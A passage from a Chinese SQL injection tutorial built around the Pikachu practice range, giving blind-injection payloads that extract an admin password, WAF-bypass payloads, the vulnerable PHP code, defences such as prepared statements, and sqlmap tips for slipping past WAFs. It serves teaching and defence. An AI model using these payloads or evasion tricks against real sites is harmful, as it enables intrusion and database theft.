0,1每次取一行。报错注入有长度限制约32字符可能需要用substr分段截取。布尔盲注逐位猜解数据1‘ and ascii(substr((select password from users where username‘admin‘ limit 0,1),1,1))50 --从admin用户的password字段第一字符开始猜。这是最核心的盲注Payload模板。时间盲注判断数据1‘ and if(ascii(substr(database(),1,1))100, sleep(3), 0) --根据响应时间延迟判断条件真假。4.4 绕过与高级技巧Payload用于应对简单的过滤或WAFWeb应用防火墙。目标Payload示例说明与解析大小写/双写绕过1‘ UniOn SeLeCt 1,2,3 --或1‘ anandd 11 --针对简单的关键字过滤。如果过滤了and可以尝试anandd程序删除中间的and后剩下的又组成了and。编码绕过1‘ %61%6e%64 11 --and的URL编码尝试URL编码、十六进制编码0x616e64等。内联注释绕过1‘ /*!and*/ 11 --/*! ... */在MySQL中是内联注释其中的代码会被执行可用于包裹关键字。空格绕过1‘/**/and/**/11 --用注释符/**/、换行符%0a、制表符%09等代替空格。实操心得这份清单是你的“武器库”但切忌死记硬背。关键是要理解每个Payload的构成部分闭合符号、查询语句、注释符。根据实际遇到的错误信息或页面回显灵活组合这些部分。例如如果发现是数字型注入就去掉Payload中的引号如果发现过滤了空格就尝试用/**/替换。5. 从攻击到防御深入理解漏洞根源与修复方案通关所有关卡后我们不仅要会攻击更要明白如何防御。查看Pikachu每个关卡对应的源码通常在vul目录下你会发现漏洞代码都非常直观——就是毫无过滤的字符串拼接。5.1 漏洞代码深度解析以字符型注入vul/sqli/sqli_str.php为例核心漏洞代码可能如下$name $_GET[‘name‘]; $query “select id,email from member where username‘“ . $name . “‘“; $result mysqli_query($query);变量$name直接拼接进了SQL字符串。当输入kobe‘ union select 1, database() --时语句就变成了select id,email from member where username‘kobe‘ union select 1, database() -- ‘防御的根本就是阻止用户输入改变SQL语句的原始结构。5.2 多层次防御方案详解使用参数化查询预编译语句这是最有效、最根本的防御手段。它让SQL语句的“结构”和“数据”分离。// 使用MySQLi预处理 $stmt $conn-prepare(“select id,email from member where username?“); $stmt-bind_param(“s“, $name); // ‘s‘表示字符串类型$name变量会被安全地绑定到?位置 $stmt-execute();数据库会先将select id,email from member where username?这个模板编译好然后将$name的值作为纯粹的数据传入。无论$name里包含什么引号或SQL关键字都不会被解释为语句的一部分。对输入进行严格的过滤和转义如果因历史原因无法使用预编译则必须进行过滤。白名单过滤对于已知有限集合的输入如性别、状态只接受预定值‘男‘‘女‘。类型强制转换对于数字型参数使用intval()等函数强制转为整数。使用安全的转义函数对于字符串使用数据库特定的转义函数如mysqli_real_escape_string()。但请注意它并非万能且需与正确的字符集设置结合使用否则宽字节注入可能绕过它。最小权限原则为Web应用程序使用的数据库账户分配最小必要的权限。通常查询操作只需要SELECT权限绝对不要使用root或拥有DROP、FILE等高级权限的账户连接数据库。这样即使发生注入危害也被限制在可控范围内。启用Web应用防火墙WAFWAF可以基于规则过滤常见的攻击Payload作为一道额外的防线。但它不能替代安全的代码只能作为缓解措施。定期安全扫描与代码审计使用类似奇安信安全扫描工具或开源工具对代码进行静态和动态分析提前发现潜在的SQL注入点。6. 常见问题排查与实战避坑指南在实际操作Pikachu或进行其他注入测试时你肯定会遇到各种问题。这里汇总了一些常见坑点及其解决方案。问题现象可能原因排查与解决思路Payload执行后页面空白或报错1. 引号闭合不正确。2. 列数不对。3. 注释符使用错误如--后没加空格。4. 存在过滤关键字被拦截。1. 回退到最简单的‘ and ‘1‘‘1和‘ and ‘1‘‘2测试闭合。2. 用order by重新确认列数。3. 尝试在--后加空格或换用#注释符。4. 尝试大小写、双写、编码等绕过技巧。Union查询成功但页面不显示数据1. Union查询的列数、数据类型与原查询不匹配。2. 数据显示位置不在当前页面可视区域。1. 确保union select后的列数与order by探测的一致。尝试将各列替换为数字1,2,3...看哪个数字会显示在页面上就在那个位置替换为我们想要的函数。2. 查看网页源代码数据可能被插入到了HTML注释或隐藏标签中。报错注入无错误信息回显1. 网站全局关闭了错误显示display_errors Off。2. 错误信息被前端JS处理或重定向。1. 尝试盲注。2. 使用Burp Suite查看原始HTTP响应包错误信息可能藏在Header或响应体末尾。时间盲注始终不延迟1. 数据库用户权限不足无法执行sleep()函数。2. 网络波动导致时间判断不准。3. 注入点存在过滤Payload未完整执行。1. 尝试其他能引起延迟的函数如benchmark(10000000, md5(‘test‘))。2. 增大sleep时间或多次请求取平均响应时间。3. 检查Payload语法特别是闭合和注释。使用sqlmap等工具扫描无结果1. 注入点需要先登录或有其他Token/会话验证。2. 存在复杂的动态参数或JavaScript渲染。3. WAF拦截了工具流量。1. 使用Burp Suite记录完整的登录后请求将数据包保存为文件用sqlmap的-r参数加载。2. 手动在浏览器中测试确认注入点存在再配置工具使用正确的Payload和Tamper脚本。3. 在工具中设置延迟、随机User-Agent、使用代理池等规避策略。最后我想分享一个最重要的心得SQL注入的学习手工理解永远排在工具使用之前。Pikachu靶场最大的价值就是强迫你手工去构造、去试错、去理解每一个Payload背后的原理。当你能够不依赖sqlmap仅凭一个浏览器和Burp Suite就完成从注入点到拖库的全过程时你才真正掌握了这门技术。这份能力不仅能让你在CTF比赛中游刃有余更能让你在真正的安全评估中理解自动化工具报告背后的逻辑甚至发现工具发现不了的、更深层次的漏洞。安全之路始于手动精于理解终于创造。